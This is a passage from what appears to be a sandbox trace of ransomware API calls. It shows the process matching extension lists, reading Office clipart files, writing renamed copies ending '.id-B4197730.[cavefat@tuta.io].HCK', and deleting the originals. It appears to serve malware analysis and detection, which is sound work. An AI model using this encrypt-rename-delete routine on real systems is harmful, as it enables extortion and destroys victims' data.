[0227.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".zip") returned 4 [0227.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.516] lstrlenW (lpString=".rar") returned 4 [0227.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".bz2") returned 4 [0227.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".7z") returned 3 [0227.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".dbf") returned 4 [0227.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".1cd") returned 4 [0227.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".jpg") returned 4 [0227.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".doc") returned 4 [0227.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".docx") returned 5 [0227.516] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0227.516] lstrlenW (lpString=".pdf") returned 4 [0227.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".xls") returned 4 [0227.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.516] lstrlenW (lpString=".xlsx") returned 5 [0227.516] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0227.516] lstrlenW (lpString=".ppt") returned 4 [0227.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".zip") returned 4 [0227.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.516] lstrlenW (lpString=".rar") returned 4 [0227.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".bz2") returned 4 [0227.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString=".7z") returned 3 [0227.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".dbf") returned 4 [0227.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".1cd") returned 4 [0227.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.516] lstrlenW (lpString=".jpg") returned 4 [0227.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.517] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.517] lstrlenW (lpString="J0099163.WMF") returned 12 [0227.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.517] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=22356) returned 1 [0227.517] CloseHandle (hObject=0x4ac) returned 1 [0227.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0227.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.518] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.518] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.519] GetLastError () returned 0x0 [0227.519] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x5754, lpOverlapped=0x0) returned 1 [0227.543] WriteFile (in: hFile=0x3e4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x5760, lpOverlapped=0x0) returned 1 [0227.544] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.544] WriteFile (in: hFile=0x3e4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.544] SetEndOfFile (hFile=0x3e4) returned 1 [0227.544] CloseHandle (hObject=0x3e4) returned 1 [0227.545] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.545] SetEndOfFile (hFile=0x4ac) returned 1 [0227.567] CloseHandle (hObject=0x4ac) returned 1 [0227.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0227.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.568] lstrlenW (lpString=".doc") returned 4 [0227.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.568] lstrlenW (lpString=".docx") returned 5 [0227.568] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0227.568] lstrlenW (lpString=".pdf") returned 4 [0227.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.568] lstrlenW (lpString=".xls") returned 4 [0227.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.568] lstrlenW (lpString=".xlsx") returned 5 [0227.568] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0227.568] lstrlenW (lpString=".ppt") returned 4 [0227.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.568] lstrlenW (lpString=".zip") returned 4 [0227.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.568] lstrlenW (lpString=".rar") returned 4 [0227.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.568] lstrlenW (lpString=".bz2") returned 4 [0227.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.569] lstrlenW (lpString=".7z") returned 3 [0227.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.569] lstrlenW (lpString=".dbf") returned 4 [0227.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.569] lstrlenW (lpString=".1cd") returned 4 [0227.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.569] lstrlenW (lpString=".jpg") returned 4 [0227.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.794] lstrlenW (lpString=".doc") returned 4 [0227.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.794] lstrlenW (lpString=".docx") returned 5 [0227.794] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0227.794] lstrlenW (lpString=".pdf") returned 4 [0227.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.794] lstrlenW (lpString=".xls") returned 4 [0227.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.794] lstrlenW (lpString=".xlsx") returned 5 [0227.794] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0227.794] lstrlenW (lpString=".ppt") returned 4 [0227.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.794] lstrlenW (lpString=".zip") returned 4 [0227.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.794] lstrlenW (lpString=".rar") returned 4 [0227.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.794] lstrlenW (lpString=".bz2") returned 4 [0227.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.795] lstrlenW (lpString=".7z") returned 3 [0227.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.795] lstrlenW (lpString=".dbf") returned 4 [0227.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.795] lstrlenW (lpString=".1cd") returned 4 [0227.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0227.795] lstrlenW (lpString=".jpg") returned 4 [0227.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.795] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.795] lstrlenW (lpString="J0099165.JPG") returned 12 [0227.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.796] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=50490) returned 1 [0227.796] CloseHandle (hObject=0x4a8) returned 1 [0227.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0227.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.797] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.797] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.798] GetLastError () returned 0x0 [0227.798] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xc53a, lpOverlapped=0x0) returned 1 [0227.800] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xc540, lpOverlapped=0x0) returned 1 [0227.801] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.801] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.801] SetEndOfFile (hFile=0x4bc) returned 1 [0227.802] CloseHandle (hObject=0x4bc) returned 1 [0227.802] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.802] SetEndOfFile (hFile=0x4a8) returned 1 [0227.804] CloseHandle (hObject=0x4a8) returned 1 [0227.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0227.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.805] lstrlenW (lpString=".doc") returned 4 [0227.805] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.805] lstrlenW (lpString=".docx") returned 5 [0227.805] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0227.805] lstrlenW (lpString=".pdf") returned 4 [0227.805] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.805] lstrlenW (lpString=".xls") returned 4 [0227.805] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.805] lstrlenW (lpString=".xlsx") returned 5 [0227.805] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0227.805] lstrlenW (lpString=".ppt") returned 4 [0227.805] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.805] lstrlenW (lpString=".zip") returned 4 [0227.805] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.805] lstrlenW (lpString=".rar") returned 4 [0227.805] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.805] lstrlenW (lpString=".bz2") returned 4 [0227.805] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.805] lstrlenW (lpString=".7z") returned 3 [0227.805] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.805] lstrlenW (lpString=".dbf") returned 4 [0227.805] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".1cd") returned 4 [0227.806] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".jpg") returned 4 [0227.806] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".doc") returned 4 [0227.806] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString=".docx") returned 5 [0227.806] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0227.806] lstrlenW (lpString=".pdf") returned 4 [0227.806] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.806] lstrlenW (lpString=".xls") returned 4 [0227.806] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.806] lstrlenW (lpString=".xlsx") returned 5 [0227.806] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0227.806] lstrlenW (lpString=".ppt") returned 4 [0227.806] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".zip") returned 4 [0227.806] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.806] lstrlenW (lpString=".rar") returned 4 [0227.806] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.806] lstrlenW (lpString=".bz2") returned 4 [0227.806] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString=".7z") returned 3 [0227.806] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".dbf") returned 4 [0227.806] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".1cd") returned 4 [0227.806] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0227.806] lstrlenW (lpString=".jpg") returned 4 [0227.806] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.807] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.807] lstrlenW (lpString="J0099166.JPG") returned 12 [0227.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.807] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=64767) returned 1 [0227.807] CloseHandle (hObject=0x4a8) returned 1 [0227.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0227.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.810] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.810] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.811] GetLastError () returned 0x0 [0227.811] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xfcff, lpOverlapped=0x0) returned 1 [0228.150] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xfd00, lpOverlapped=0x0) returned 1 [0228.152] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.152] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.152] SetEndOfFile (hFile=0x4bc) returned 1 [0228.152] CloseHandle (hObject=0x4bc) returned 1 [0228.152] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.152] SetEndOfFile (hFile=0x4a8) returned 1 [0228.155] CloseHandle (hObject=0x4a8) returned 1 [0228.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0228.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.157] lstrlenW (lpString=".doc") returned 4 [0228.157] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.157] lstrlenW (lpString=".docx") returned 5 [0228.157] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0228.157] lstrlenW (lpString=".pdf") returned 4 [0228.157] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.157] lstrlenW (lpString=".xls") returned 4 [0228.157] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.157] lstrlenW (lpString=".xlsx") returned 5 [0228.157] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0228.157] lstrlenW (lpString=".ppt") returned 4 [0228.157] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.157] lstrlenW (lpString=".zip") returned 4 [0228.157] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.157] lstrlenW (lpString=".rar") returned 4 [0228.157] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.157] lstrlenW (lpString=".bz2") returned 4 [0228.157] lstrcmpiW (lpString1=".bz2", 